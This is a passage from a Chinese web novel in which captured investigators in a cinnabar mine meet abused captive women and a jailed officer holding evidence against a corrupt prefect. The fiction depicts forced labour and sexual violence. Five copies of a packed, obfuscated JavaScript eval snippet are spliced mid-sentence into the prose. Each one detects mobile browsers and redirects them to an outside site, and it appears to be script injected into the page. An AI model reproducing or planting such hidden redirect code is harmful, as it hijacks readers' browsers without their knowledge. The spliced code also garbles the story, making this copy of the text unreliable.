这当然可以,谢明尘干脆的应下。他如今受制于人,这种小忙能帮的还是得帮。只不过他有件麻烦事得杨辉做主。 “我是个大夫,手边没有能用的药材,总归不成。巧妇难为无米之炊,就算我医术再好,没有药材辅助也治不好绝大多数病。今天只是凑巧,能在周围找到消炎止痛的药。若以后有人生病,却找不到相应的药材,就算我是神医转世也没法子。所以我想着大人能不能没有人在闲暇之余给我找些草药,我自己会炮制。总归是有备无患。” 杨辉勉强听懂了谢明尘的意思,他是要求倒是也不过分,毕竟普天之下的大夫看病都得用药材。不过他们这地方到底不太一样。想了又想,狠狠一咬牙。 “薛大夫不是我不答应,只是咱这地方毕竟特殊,不过您放心,我去和周围矿上的兄弟们商量一下,总归还是咱们的命最重要。” 谢明尘点了点头。 只要这些人看重自己的性命就行。 杨辉让其他两个监工带着谢明尘和应九阙前去休息,自己则是连忙去找矿上的兄弟商量这件事儿。 九阙跟着谢明尘来到休息的山洞,这里也算是规格比较高的地方,只是也难免有山洞里的潮湿之气。还有人在旁边看着,九阙也没办法多说什么,两人的目光不经意间对视一眼,互相扫视下,发现彼此身上都没什么明显的伤痕,说明对方过的还算不差,就是在这种地方生活,难免劳累些,面色不太好看。 不过只要能活着就好,在见到对方之前,九阙心里已经想了无数种可能,这会儿她着急询问淳于霜的下落,可那两个人盯的紧,说白了他们两个现在虽然得到了优待,可毕竟还是囚犯,只是对这些监工有用,所以才捧着他们,若真遇到原则上的问题,那些人对他们可不会手下留情。 因此两人也只是干巴巴的坐在石凳上休息,末了,谢明尘看见角落里有一块儿废弃的皮子,大概是这些监工们在山间抓到的野物,只是炮制的不好,这会儿跟抹布一样随意丢在角落里。谢明尘捡了起来,招呼在场的三个人过去。 “刚好这会儿闲着没事儿,要不我教你们这缝合之术吧,说不定以后能用上。” 两个男人听了之后神色大变,连连摆手,甚至干脆从山洞中跑了出去,不过他们也没远离,只是站在山洞口,遥遥的看着两人。 这种缝合之术还是交给那个女人吧,硬生生在人的皮肉上缝合,这是人能做出来的事儿吗?简直太可怕了。难道普天之下的大夫都是这样的?怪不得他们从小就害怕大夫,也害怕喝药。 于是谢明尘得以指导九阙,远远看去,两人只是拿着那块儿破兔子皮用针线摆来摆去的缝合,没什么交流,大概是碍于男女身份吧。 于是两个监工站在门口眉飞色舞的讨论今天发生的事儿,这对于无聊的矿场来说也算是个新鲜事,够他们说两天的了。 “我看那牛二都快疼死过去了。我看着都觉得肉疼,那可是活生生的人肉,被缝在一起该有多疼,我都不敢想象,说起来那牛二可真是命大,这种伤都能活下去,说不定腿还能治好,是不是祖坟上冒青烟了?” “什么祖坟上冒青烟?我看他是倒霉透顶,大家都好好的在那地方站着,怎么偏偏就他腿被砸断了?我看啊,说不定是哪个看的不顺眼的苦力做的。” “不能吧?那石头落下来的时候我还抬头看了,上面一个人也没有,就是一块不小心脱落的石头。而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501255|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一路上还砸伤了好几个苦力……” “你看见了?我还以为是有人故意报复呢!嗨,我就是这么一猜,不过牛二可真是命大……” 那两个监工声音很大,在这种背景音下,九阙轻轻开口。 “淳于跟你在一起吗?” “她在隔壁矿场,不过我也见过她。她帮那个矿场的总监工理好了账本儿,现在也是数一数二的人物。只不过咱们这些人都被盯的紧要,不是我大夫的身份,还真不可能各个矿场来回走动。” “没事儿就好,没事儿就好,不过你见魏渊了吗?” 谢明尘严肃的摇了摇头,说来也奇怪,他还真没见过魏渊,想来他们几个是被分散带到矿场的,估计每个人所在的地方也不同。时至今日,他都没有听到魏渊的消息。 九阙吸了口气。此刻也只能往好处想,毕竟魏渊是他们四个里唯一一个有功夫而且还不弱的人。在这种地方,有功夫还力气大的男人应该没事儿,大不了就去做苦力。 叹了口气,九阙抓紧时间交换了一下信息,发现这是处巨大的朱砂矿脉,每日的产出惊人。而且这里挖矿的大多数都是抓过来的苦命人。要么没有 家人,要么是家人不在意,要么干脆是过路的陌生人。 这么多广场,来自天南海北五湖四海的人都有,甚至还有几个来游学的秀才! 九阙皱了皱眉。 游学的秀才可是有功名在身的,这些人连这都不怕,可见有多无法无天。而且谢明尘大夫的身份让他更能接触到上层的消息,这些出产的朱砂,都被运到最北边一个叫清风观的道观里炼丹去了! 听到这个消息,九阙下意识想到了一个名字。 回春丹! 两人对视一眼,脑海中不断回想这段时间发生的事,辛探花他那人渣爹吃了回春丹,无忧洞有大量回春丹,三皇子因回春丹而死…… 总感觉有双无形的大手在背后操控这一切。 第一百零三章 不论哪个,都是恶棍 留给两人说话的时间不多,他们得抓住这仅有的时间沟通,说了几句紧要的,约定好时间之后,杨辉的声音从外面传来。 “你们两个站在门口干什么?薛大夫和小九呢?” “杨哥他们在缝兔子皮呢,说是要练练缝合的手法。我看着都瘆得慌,不敢看……” “行了行了,要你们有什么用?” 这句话落地杨辉也出现在洞门口,第一时间看一下那两人,发现两人虽然坐的近,但中间隔着一块儿兔子皮,并且这会儿那块兔子皮已经被缝起来,针脚还相当匀称。一看到这缝合的痕迹,他就想起牛二那条腿,杨辉忍不住想干呕,但众目睽睽之下还是忍住了。 这会儿他脸上略带喜色,两人一看就知道他带来了好消息,果然。 “薛大夫,刚刚我跟哥几个商量过,他们都同意,只不过毕竟咱们上头有人,每天只能给不长时间出去采药。其他都是些干苦力的,也没人认得草药,所以还得辛苦薛大夫上山采药了。只是这山中蛇虫鼠蚁太多,不过您放心,我们会竭尽全力保障您的安全,每日上山我都会派几个兄弟,所以说我们都是些大老粗,不认识草药,但也能帮薛大夫扛个背篓啥的。薛大夫觉得如何?” 他已经说的很周到,谢明尘还能说什么?这种情况下他总不能拒绝吧。 见他同意,杨辉的脸色也好看许多,这会儿看一眼沉默寡言的小九,眼神微微一动。虽说暂时稳住这医术高明的薛大夫,但这人毕竟是被绑过来的,难免心生怨怼,要想让他心甘情愿的为自己所用,还是得恩威并施。这个小九虽说看起来干瘦了些,可是这几日的表现相当不错。胆小又怕什么?就是因为胆小才不敢做出格的事。 “薛大夫,咱们这山里条件简陋,也没个女人服侍,我看这小九就很不错。细心,力气也大,而且还会缝合。要不就让她跟在你身边?说不定能学个一招半式的,我们也跟着享享福。” “嗯……” 谢明尘沉吟片刻,目光在小九身上扫了一下,略有迟疑。 “可我不是这边的人,刚刚那位伤者若是平安无事,我就要回去……” “哎呦,这不着急,咱们这几个矿场上的都是兄弟,您医术这么高明,难免会在几个矿场里来回奔走,牛二的腿还得多劳您费心,我厚着脸皮请您在这儿多待段时间,说句不好意思的话,我们这些个兄弟在矿上整天缺医少药的,身子骨也有些暗伤,还得请您帮咱们调养调养。在这边的时间就让小九在您身边服侍吧,她是个听话的,我保证。小九,你说是吧?” 九阙身子微微颤抖一下,连连点头。 “薛大夫,求您让我在您身边服侍吧,我手脚麻利,干活很勤快,能伺候好您!” “……那成吧。” 薛大夫好像不太情愿,只是迫于形势才勉强答应,这反而让杨辉放下了戒心。要是薛大夫迫不及待的答应,他反而要生出疑虑了,那小九看起来干巴巴的,身上又脏又黑。虽说在矿上时间长了,不管男女老少都是这样,但杨辉可是下不去手。 于是这件事就这么定了。半下午的时候牛二醒了过来,很庆幸的是他并没有发热,就是因为失血过多,脸色惨白。不过因为捡回一条命,他对薛大夫那叫一个感激涕零。 连带着小九都得到了他个好脸儿,要知道以前牛二根本看都不带看一眼小九的。 除了牛二这件事儿,天色微微擦黑之际,杨辉又有些为难的过来请薛大夫看病。要说之前给杨辉他们把脉开方子,他们都没这么犹豫,这会儿也不知道是怎么了,遮遮掩掩的。 作为薛大夫临时的助手,小九自然也跟着上去,只是当他们七扭八拐走到一处阴暗的山洞时,终于明白杨辉为什么会露出这样的表情。 在这处阴暗的山洞里竟然用木头栅栏圈了一块儿地,里面被关着十几个衣衫不整面如死灰的女人。因为长时间不透风,山洞里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501256|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散发出一股复杂的腥臭味。 九阙蜷缩在袖子底下的手狠狠攥成了拳头,她不是什么懵懂无知的少女,看到这些女人的瞬间就明白她们被单独关押的原因,低垂的眼里闪过一丝血色。 她不能因为杨辉几个人看起来不算太坏,就认为他们尚且有救,这些被关押起来的女人难道是自愿的?怪不得他这一路走来都看不到几个女子,唯独几个在灶房帮忙的,要么年纪大,要么脸长得不好,原来是被关在这里了。 “薛大夫,麻烦您帮忙看看,其中有两个不断流血,要是能救就帮忙救救,要是救不成就算了。” 杨辉的语气还略有些遗憾。那两个女人似乎是什么小官吏的家眷,脸长得那叫一个好看,皮肤跟鸡蛋似的那么滑。他这种从小吃百家饭长大的人,哪里见过长得这么好看的女人?只是没想到这两个女人不仅出身好,身子骨也跟大家小姐似的,这眼看就要死了,要是能救回来当然最好,叫不回来也就算了,反正还有其他女人活着。如今那些活尸们从外面绑回来的人越来越少,好不容易抢回来几个,也没好看的女人。 兄弟们在这鸟不拉屎的矿场上熬油似的熬着,就剩下这么点儿乐趣了。要不底下的兄弟们还不得发疯? 谢明尘沉默了一瞬,杨辉已经让人把那两个面色惨白干枯瘦弱,下半身血流不止的女人拖了出来。 这两个女子年岁不大,从面容上看有几分相似的地方,大概是有血缘关系,这会儿一分力气也没,拖她们出来的男人一松手,就躺倒在地,一双眼睛黑沉沉的,没有一丝光亮。眼见着只有进的气儿,没有出的气儿了。 杨辉还有些着急。 “您看,就是这样。半死不活的,偏偏还有口气儿,这要是真拖出去埋了,不就可惜了?” 谢明尘闭了闭眼,沉默的弯腰低头,给两人把了把脉,最终给出了个模棱两可的结论。 “身子亏损太过严重,不过勉强能一试。” 第一百零四章 意外的证人 杨辉一听这话顿时喜上眉梢,本来他对这两个女人就没抱多大希望,现在也算是意外之喜了。 “行,那您就多费点儿心治治,要是能治好自然皆大欢喜,要是治不好也没关系,我不找您的麻烦。” 难不成他以为自己不找大夫的麻烦是件很伟大的事?还要单独拿出来说? 谢明尘似乎对这样的情景已经司空见惯,只是淡定的点了点头。 “我会尽力。” 得到满意的答复,杨辉就离开了。他作为这个矿场的总监工,平日里有很多事需要他决断,今天因为薛大夫的事已经浪费很长时间,得去做事了。 或许是对这两个要么看起来病殃殃要么瘦巴巴的人比较放心,洞口竟然也没留人。 谢明尘低头给这两个可怜的女子诊脉,九阙在一边儿沉默的帮忙,只是下一刻九阙手上一紧,一只枯瘦的手死死抓住九阙的手腕。 “别,别救我,让我死吧!算我求求你了……” 是其中一个年纪略大些的女子,她那双死气沉沉的眼睛此刻直勾勾盯着九阙,明明身体已经虚弱到这种地步,可是抓住九阙手腕的力道却叫她觉得有些疼。 另外一个女子也缓缓转动眼珠,她的身体情况明显更差些,此刻虽然没开口,但眼中的意思和自己姐妹的一样。 九阙觉得鼻子发酸,同时心中的愤恨几乎要冲破胸腔。她回握住这位坎坷女子的手,低下头凑在她耳边轻声开口。 “我会救你们出去,姐姐,不要放弃希望,只要活着,一切都有可能。” “……” 那女子眼中闪过一点微弱的光,似乎有些不可置信,但当发现九阙的表情没有一丝玩笑时,几乎已经回光返照的身体此刻突兀的来了力量。 她用力抓住九阙的手腕,像是在求证一个不可能的答案。 “真的吗?你没有骗我?” 九阙刚想点头,就听到她略显急促的声音。 “算了,就算骗我我也认了。我听你的,我得活着,我得报仇!我的家人不能死的那么惨却没人报仇,我要为他们收敛尸骨,找个山清水秀的地方葬了……” “小妹,你听到了吗?我们得活着。我们家就剩咱们两个人了,如果连我们都死了,谁知道我们的冤屈?谁会为我们报仇雪恨?那梁恒老贼作恶多端,我们得亲眼见到他的下场!” 九阙眼睛猛然睁大,等等!梁恒?是她想的那个梁恒吗?难道他们还没走进黔州府城,就找到了证人? 眼看这两个姐妹已经燃起生的希望,九阙没忍住。 “你们说的可是黔州知府梁恒?” “你怎么?你说的是谁?我们不认识!” 年纪稍大些的姐姐立刻反口,根本不承认自己说的人是梁恒,但她们略显慌乱的脸色已经充分证明了这一点。九阙连忙安抚她们的情绪。 “不怕不怕,我不是坏人,我……” 看她们这会儿一点儿力气也无还是强撑着要远离的模样,九阙顿了顿,悄悄朝着上空一指。 “我是上面派来的,就是要查梁恒,你们放心,朗朗乾坤,陛下看着黔州也看着梁恒,他做的那些恶事,总有一天会被清算。” 两位姐妹顿了顿,她们不是很相信,这种只有在梦里才会出现的事情,母亲临死之前让她们死死记在心里只要活着就一定要逃离黔州,要去告发的事情,在她们还没有离开这魔窟一样的地方时,就已经有陛下派来的人来到她们面前?这种做梦一样的事…… 见她们明显不相信,九阙想证明自己的身份,可她自从到这个地方,醒来的时候浑身上下就剩一套不知道从谁身上扒下来的脏衣服,所有隐晦的能证明自己身份的东西都不见了,她也不敢问,就盼着没人发现自己身份,这会儿猛然也找不到证物。 想了想,九阙只能低声开口。 “姐姐,我不知道你的身份,我也不能透露太多,因为我不能确定你说的是不是真的,我只能说一句,梁恒做黔州知府这些年,寸功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501257|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微立,从京城流传的丹药里查出有大量上等朱砂成分,陛下心生怀疑,这才让我等来调查。” 两姐妹此刻已经抱在了一起,九阙眼尖的发现其中那个大的此刻嘴里鼓起,似乎已经咬住自己舌头,顿时吓了一跳。她不会准备自杀吧? “当然是真的。我们就是故意潜入矿场,想查找证据,等着将其一招致命!要不然,我们来这儿也没用啊。你信我!” 听到这话,两姐妹总算是有些相信,那个已经咬住舌头的也松开了牙齿,只不过她们此刻依旧半信半疑。 “潜进来的只有你们两个吗?可你们看起来实在是有些……” 弱不禁风…… “当然不是,我还有另外两个伙伴,其中一个武功特别高,能一个打十个!另外一个是女子,她很厉害,现在已经是这些人的座上宾!而且我们四个只是先头部队,后头陛下派的人本来就朝着黔州这边儿进发,算算日子也快到了。不然就我们两个这样,也不敢大大咧咧的潜入进来啊。” 说到这里那两姐妹没总算是相信了,暂且没了求死的念头。也同意谢明尘给她们诊治,只不过大概是听到了想 要的消息,其中那个伤势重点儿的妹妹陷入了昏迷。 幸好之前杨辉说过同意谢明尘上山采药,旁边有一座深山,上面长了许多草药,在谢明尘眼里,这两姐妹都能救过来,只不过是时间长短。为了避免夜长梦多,谢明尘听从九阙的意见给她们用了药,让她们表面看起来虚弱至极,实则迅速将养身体。这也是为了避免那些禽兽们见这两姐妹身体好些就又来作恶。 在谢明尘忙着救治病人,九阙和淳于霜偷偷联系上的时候,据此处不远的矿场中,一个深不见底的矿洞里,锁链碰撞在一起的叮叮当当声不绝于耳,传到地面的时候只剩下一点儿微弱的声音证明下面干活的劳工还活着。 一个凶神恶煞的监工骂骂咧咧的走过去,把头探入黑洞洞的窟窿里喊了一声。 “喂!臭小子们!还活着吗?” 第一百零五章 可怜的魏渊 过了好一会儿,下面才传来微弱的敲击声,那个凶神恶煞的监工这才满意,骂骂咧咧的走了。 “娘的,这群苦力就是欠收拾,老子多长时间没揍过他们了?不揍就是不行,没点儿规矩,不过这一批也快消耗差不多了,啧,怎么就死的这么频繁,这么快?不就是挖个矿吗?有这么累?真是……” 听到上面没什么动静,底下这些艰难挖矿的苦力们才悄悄松了口气。他们得庆幸那些监工们养尊处优不肯下来,要不然就发现他们在底下悄悄休息了。 这处矿洞实在深的很,也不知道怎么回事,一下到这矿洞里,就会忍不住恶心干呕头晕,甚至严重的还会上不来气。那些监工们都说这矿洞里有恶鬼作祟,所以他们不会轻易下来。这倒是给了他们休息的机会。 “魏哥,你没事儿吧?要不停下来歇歇?你身上还有伤呢。” 这群挥汗如雨的苦力之一,脸有些青涩稚嫩的男孩子轻轻开口,而他看着的正是身形高大,即使在这种昏暗的地方依旧能给人无比安全感然的魏渊。 他算是四人小队中最倒霉的一个,大概是因为他身形高大,看上去有把子力气,所以在被那些活尸送到这个矿场之后,立即就被安排送到最危险也最劳累的矿洞底下干活。当然了,担心他醒来之后会跟自己起冲突,这些监工们直接先下手为强狠狠打了他一顿,以至于魏渊浑身都是伤。这会儿底下虽然昏暗的看不清,但魏渊却能闻到自己身上有股子血腥味儿。 他用力挥动胳膊,结实的肌肉群带动手臂中的镐子狠狠击在面前的矿洞壁上,一串火星子骤然迸发,同时也带走了他心中的些许郁气。 虽说这些年他偶尔会受到那些自诩清明的文人武将的鄙夷,但他义父可是陛下身边最受信任的大总管!除了些许言语眼神上的挤兑,没人敢对他不敬,就连陛下,虽然刚开始并不器重他,但也不会刻意打压,总而言之,前些年他过得很是不错。 更不必说现在他得到了陛下的重用,甚至已经开始着手调查黔州这边的大案,谁曾想到出师未捷身先死,他甚至都还没跟着应县主他们进入黔州府城的地界,在路上就被人迷晕绑了,这对魏渊来说简直是奇耻大辱! 应县主三个也就算了,要么是手无缚鸡之力的女子,要么是文文弱弱的太医,可他自小习武,功夫自然称不上天下第一,但在京城也算是一顶一的好。陛下此次把他派出来就是看中他这身功夫,好让他能保护应县主三个! 没想到啊,他竟然被一群没有思想,听不懂人话的活尸给绑走了!甚至还被一群乡野村民硬生生打醒!天知道当魏渊清醒过来,忍着身上的剧痛搞清楚自己的处境之时,是何等的憋屈和天崩地裂!以至于现在回想起来都咬牙切齿! 更加用力挥动手中的镐头,魏渊的声音简直像从牙缝里挤出来的! “我没事。” 这听着可不像没事儿的样子,不过众人也知道他身上带着伤,此刻也不好多说什么,只能继续干活。 魏渊盯准面前那块儿矿石,狠狠挥舞了几下镐子,终于将它撬了出来,当啷一声,拳头大小的矿石落在地上,吸引了周围人的注意。不少人脸上露出艳羡的表情,可是当发现那块矿石的主人是魏渊时,大家就把视线收了回去。这矿洞底下光线不好,大概是昏暗的地方容易滋生阴暗,底下彼此争夺矿石的事情屡见不鲜。反正头上那些监工们只认矿石不认人,谁能挖到含量高的矿石,谁就能加餐,甚至还能吃到肉。 听这声音,那新来的小子挖到的矿石成色不错,今儿个又能加餐了。 魏渊随手把那块儿石头扔在背后的背篓里,继续朝着另一块儿矿石下手。要是搁在十天以前,杀了他都不会相信自己会为了一顿饭这么努力干活,可现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501258|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在也没法子,都是局势所迫。如果他不努力挖矿,在这儿鬼地方根本就吃不饱,还哪儿来的力气去找另外三个人? 也不知道应县主他们三个如今过的怎么样了,谢太医是个男人,倒是不需要多在乎,可应县主和淳于霜…… 在这种鬼地方,魏渊也不是没注意到那些被抓来容颜姣好的女子是什么下场,只是他在心里抗拒这个想法。因为他实在是无法想象像应九阙那样的女子被人肆意羞辱是什么样子。老天啊,应县主不会已经把敢羞辱自己的人给宰了吧?但在这种地方,监工的数量那么多,她就自己一个人,这也不是对手啊,对方七手八脚一拥而上,就算是自己也没法子,更何况是应县主一个女子呢? 无论如何他这次出来的任务已经失败了大半,就算平安回去也会被义父揍个半死。明明在来之前陛下和义父再三叮嘱一定要保护好应县主,没想到这还没进黔州府城,直接就把人给丢了,甚至现在也不知道对方在哪个犄角旮旯里悄悄活着。一想到自己未来的命运,魏渊就觉得悲催不已。 同时对黔州知府梁衡的恨意愈发旺盛! 那个该死的狗官!这些从四面八方抓来的苦力一定和他脱不开关系。他们不过是过路之人,连自己的身份都没有暴露就直接被抓走,可见这些年来有多少路过的无辜之人都难逃挖矿的命运。他甚至还在这边发现了逃难的青州人! 青州大旱,许多百姓活不下去四处流亡,他本来还觉得奇怪,为何京城中不见大股流民,现在才知道他们早就被蛊惑,千里迢迢来到黔州奔活路,没想到刚一露头就被抓到这暗无天日的矿场里,整日苦干也不见得能填饱肚子。 他一定得活着走出去,把这里的情况禀告陛下,不然,梁恒那老狗还真觉得自己可以一手遮天了!不知道他们宦官之后最擅长的就是告状吗?!要是能活着回去,一定要把他告到死! 第一百零六章 从龙之功啊 地面上的监工终于大发慈悲让集合吃饭,魏渊带着自己好不容易得来的收获往上爬去,身边跟着一大群人,跟其中几个交流了个眼神,一切尽在不言中。 当到达地面之后,洞穴入口处已经等了一群人,桌子上放着称,俨然已经做好了准备,出来一个交一个,没人能在他们眼皮子下面昧下矿石。 魏渊心里悄悄叹了口气,若非如此,他也不必这般小心翼翼,将背篓里那些成色极好的矿石倒出来。管事儿的看到这些品质上乘的矿石,脸上顿时露出一个灿烂的微笑。那胖的找不着五官的脸上,两只眼睛更是眯溜成了两条细缝儿。 “小魏呀,你本事不小,运气也好,这样成色的矿石,我已经大半个月没见过了,你是今天当之无愧的第一。来人,给他加肉!” 是的,矿场里的奖励就是这般朴实无华,谁干的好,谁就有肉吃。随着管事儿的一声令下,旁边两个狗腿子从盖的紧紧的木盒子里掏出来两个大鸡腿,将那碗直接塞给了魏渊。 这些苦力们整日吃糠咽菜,许多人已经大半年都没尝过肉味儿了。这会儿冷不丁看见那浸着红油的大鸡腿儿,不少人眼睛都绿了,直勾勾的盯着。魏渊露出个笑容,然后将那只碗护在手里,快速离开。旁边的狗腿子看不到卑躬屈膝的感谢,不免有些不满。 “大人,您看那臭小子得了您的赏赐,竟然也不跪下来谢恩。真是好大的胆子,莫非以为自己能找些好的矿石就顶天了?要不要咱们找点儿人去教训一下?” 那管事儿的眯着眼沉吟片刻,还是故作大度的摇了摇头。 “你这人怎么说话?好歹人家也是给我办事儿,而且这事儿办的还这么漂亮。你瞧瞧,咱们都已经快一个月没见过这么好成色的矿石了吧?底下那矿说实话都快被挖空,能在这种时候还找到这样品质的矿石。这姓魏的,还真是有把子运气在身上。上面那些大人们催货的时间要到了,咱们不赶紧挖点儿上等品质的矿交差,那些大人们能扒了你我的皮,你信不?” “是是是,还是大人有远见,我这种地里刨食儿的,没见过世面,大人勿怪,勿怪。” 那管事儿的被捧的舒服,惬意的坐在躺椅上晒太阳,等发现后面那些劳力们交出来的矿石成色一般时,也不怎么生气,有那姓魏的交过来的这堆,已经足够交差。 而魏渊则是护着那两只鸡腿儿七扭八拐,甩开身后眼馋跟着的人,拐进了一个阴暗潮湿的角落。虽说矿上的条件极差,但这洞穴打眼看上去就脏乱不堪,实在太过寒碜,没人愿意来这边儿,所以里面躺着的人反而比较安全。 魏渊刚一靠近,里面就传来了警惕的声音。 “谁?” “是我。” 魏渊几步走进去,里面那个躺着的人艰难坐起身,还未开口就是一连串控制不住的咳嗽。 连忙将手中食物放下,魏渊把那人扶了起来,过了好一会儿,那人才不再呛咳,只是依旧面无血色。 那是个看上去三十岁左右的男人,男人本来应该有一具极为健壮的身体,但经过岁月的磋磨,环境的磨砺,现在只剩下一副不错的骨头架子。脸上的肉也凹陷下去,双目无神,唇色发青,整个人看上去就像一副骷髅般,可怕的很。 这会儿他好不容易喘匀了一口气,有些惭愧。 “是魏兄弟啊,我这身子真的是不争气。本来想迎你几步,这也走不动了……” “秦兄,你我之间不必这么外道,先吃饭吧,你这身子骨还是太虚,得养起来才行。” “魏兄弟,那姓王的怎么可能愿意多匀出一份饭食给我?他恨不得咱们这些干活的都不吃饭,你不是把自己的食物分给我了吧?我如今已是一副残躯,吃再多的东西又能如何呢?还不是要死?你别管我了,在这种地方若是吃不饱,身子会一日日败坏下去,你才刚进来,还有希望,不要因为我这不相干的人坏了你自己的身子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501259|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “秦兄说这话就外道了,当初我被他们打的半死,还是你拉了我一把,否则我现在早不知埋哪儿去了。赶紧吃吧,要不待会儿就有人闻着味儿过来了。” “唉,你这……” 见他还要拒绝,魏渊干脆拿起一只鸡腿直接塞到他嘴里,秦量没法子,只能接过来吃了,总不能让魏兄弟吃自己咬过的东西吧。 只是没想到,他堂堂黔州兵马使,正三品武官,本来也有大好前程,没想到未来竟不是死在征战沙场的途中,而是死在这小小的无人知晓的矿场里!这让一向快意恩仇的秦量怎能不憋屈? 但形势比人强,一分钱难倒英雄汉。此前他还不明白这句话的含义,自从被弄到这鬼地方算是服气了。梁恒狗贼!竟真有胆子瞒天过海,欺瞒圣上! 本来他已经失去了希望。毕竟自己已经是个将死之人,就算有那梁恒狗贼的罪证又能交给谁呢?可现在他见到了魏渊,昨日他们还彼此通了信息,当知道魏渊是朝廷派来的秘密钦差之后,原本已经只剩一口气的秦量硬生生撑了过来。他本是一大好男儿,有大好前途,却被狗贼害到如今不良于行的地步!黔州百姓善良淳朴,踏实肯干,本来因为当今陛下的登基逐渐焕发生机,百姓的生活 也越来越好,却偏偏因为那梁恒狗贼,让陛下的努力功亏一篑! 他于任上发现不对劲的地方,立马就往朝中发了密折,可那狗贼势力竟如此大,连朝中都有人,他的密折最终竟被梁恒拿到!当梁恒将那密折甩到他面前时,秦量就知道不对,可已然晚了,梁恒竟用黔州数位武将的性命相威胁,秦量是个孤儿,没什么看重的,唯有这群兄弟,那都是过命的交情,怎能眼睁睁看着他们死? 最终,他们还是被抓住,那梁恒面对自己的质疑,竟丝毫不怕。 “你们以为我是为自己做事?哪怕我兢兢业业数十载,如今也只不过是个知府,不知何年何月才能进入京城中枢,可现在哼哼……从龙之功啊……” 第一百零七章 金矿! 过往的记忆不堪回首,秦量勉强抑制住心口的酸痛,眼看着约定好的时间越来越近,忍不住担忧。 “魏兄弟,你们真能揽下这件事儿?据我所知这次的事情可不是梁恒一个人能揽下来,说不定还跟上面那些有所牵连。” 说话的同时,秦量伸手指了指头顶。头顶有什么呢?除了暗无天日的洞穴顶部,就是那大方照耀着整片土地的天空。 魏渊肯定的点了点头,若是放在以前,他肯定不会给出如此确定的答复。就算他义父是陛下身边最宠幸的大总管,可毕竟是皇家内部的事情,稍有不慎就可能死无葬身之地。可现在也不知怎的,或许是想起那个连自己性命官途都可以不在乎,明明瘦弱,却给人一种顶天立地感觉的女人,魏渊也可以面不改色的说出安慰的话。 “放心,此次和我一同前来的有一个人,或许消息还没传到这边。但此前无忧洞一案事发,风光无限的三皇子就是被她关进刑部大牢,最后被陛下剥夺了皇子身份。陛下不仅没有惩罚,反而给了她极高的地位。此次来黔州调查,也是她同意之后,我们才一起跟着来。” 听到这话,秦良不仅没有安心,反而更加忧虑。这听起来难道不像是被陛下厌弃的臣子才有的待遇吗?如果当真宠爱怎么可能会让那臣子来到事情尚不明朗的黔州做这出头鸟? 奈何魏渊生性沉默寡言,也不知该如何将那之前震惊整个京城的案件说的直白生动些,只能再三重复。 “你放心,会有人来救我们,就算跟此事有勾连的是当朝皇子,陛下也绝不会容忍。” 这话魏渊绝对没有夸大其词,此前他也和其他大臣以为陛下对自己仅有的四个皇子相当宠爱,可没想到在大是大非上当今陛下那是一点儿都不含糊,三皇子此前多受宠爱呀,陛下常常赐下奖赏,甚至连理由都不需要。可当发现三皇子竟涉嫌买卖自家百姓时,陛下还不是说罚就罚,说圈禁就圈禁? 更何况这次的事儿还真不比无忧洞的小。手指微微一动,一枚指头肚大小的矿石从袖子里落在手心。跟随义父生活这么长时间,魏渊一手藏东西的技法出神入化,这么个小东西,藏起来不费工夫,不过那些监工们眼睛比刀还尖,捞不着更大的矿石,不过就这么点儿也够了,积少成多,足以证明他们干的那些不法勾当。 那是一块儿灿金色的石头,主体是灰白色的,但因为含量太高,几乎形成了显眼的明金色带。 